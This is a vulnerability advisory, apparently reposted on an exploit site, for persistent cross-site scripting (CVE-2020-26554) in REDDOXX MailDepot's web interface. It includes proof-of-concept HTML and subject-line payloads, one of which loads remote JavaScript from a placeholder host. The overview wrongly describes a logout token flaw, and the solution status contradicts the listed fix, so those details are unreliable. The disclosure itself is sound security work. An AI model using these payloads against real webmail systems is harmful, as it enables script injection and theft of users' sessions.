MailDepot 2033 2.3.3022 Cross Site Scripting Vulnerability--
Kod:
Product: MailDepot
Manufacturer: REDDOXX GmbH
Affected Version(s): 2033 (2.3.3022)
Tested Version(s): 2033 (2.3.3022)
Vulnerability Type: Persistent Cross-site Scripting (CWE-79)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2020-10-01
Solution Date: 2020-11-11
Public Disclosure: 2020-11-13
CVE Reference: CVE-2020-26554
Authors of Advisory: Micha Borrmann, Thomas Engel (SySS GmbH)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
REDDOXX MailDepot is an e-mail archiving solution with many features
and an optional web browser user interface.
The manufacturer describes the product as follows (see [1]):
"The email archiving solution works independently from the type of
mail server, supports any type of storage and can therefore be easily
integrated into any existing infrastructure."
Due to the improper server-side invalidation of authentication tokens
when using the logout function, authentication tokens can still be
used.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The web-based application displays the entire content of HTML e-mails.
Also, external resources like images or JavaScript will be executed
during the display of an e-mail. In addition, the subject field is not
sanitized and allows the injection of JavaScript code which will be
executed when an e-mail is displayed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
There are a lot of tools that generate HTML mails including JavaScript.
The following part in an HTML e-mail illustrates the security issue:
<img src="https://www.example.org/xss.png">
<script>alert("XSS Demonstration")</script>
<script src="https://www.example.org/xss.js"></script>
The subject of an e-mail may contain the following code which will be
executed when the e-mail is viewed:
<img src=X onerror='alert("XSS Demonstration")'</script>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
Install the provided hotfix 43-restproxy-usergui [2]
# 0day.today [2020-11-20] #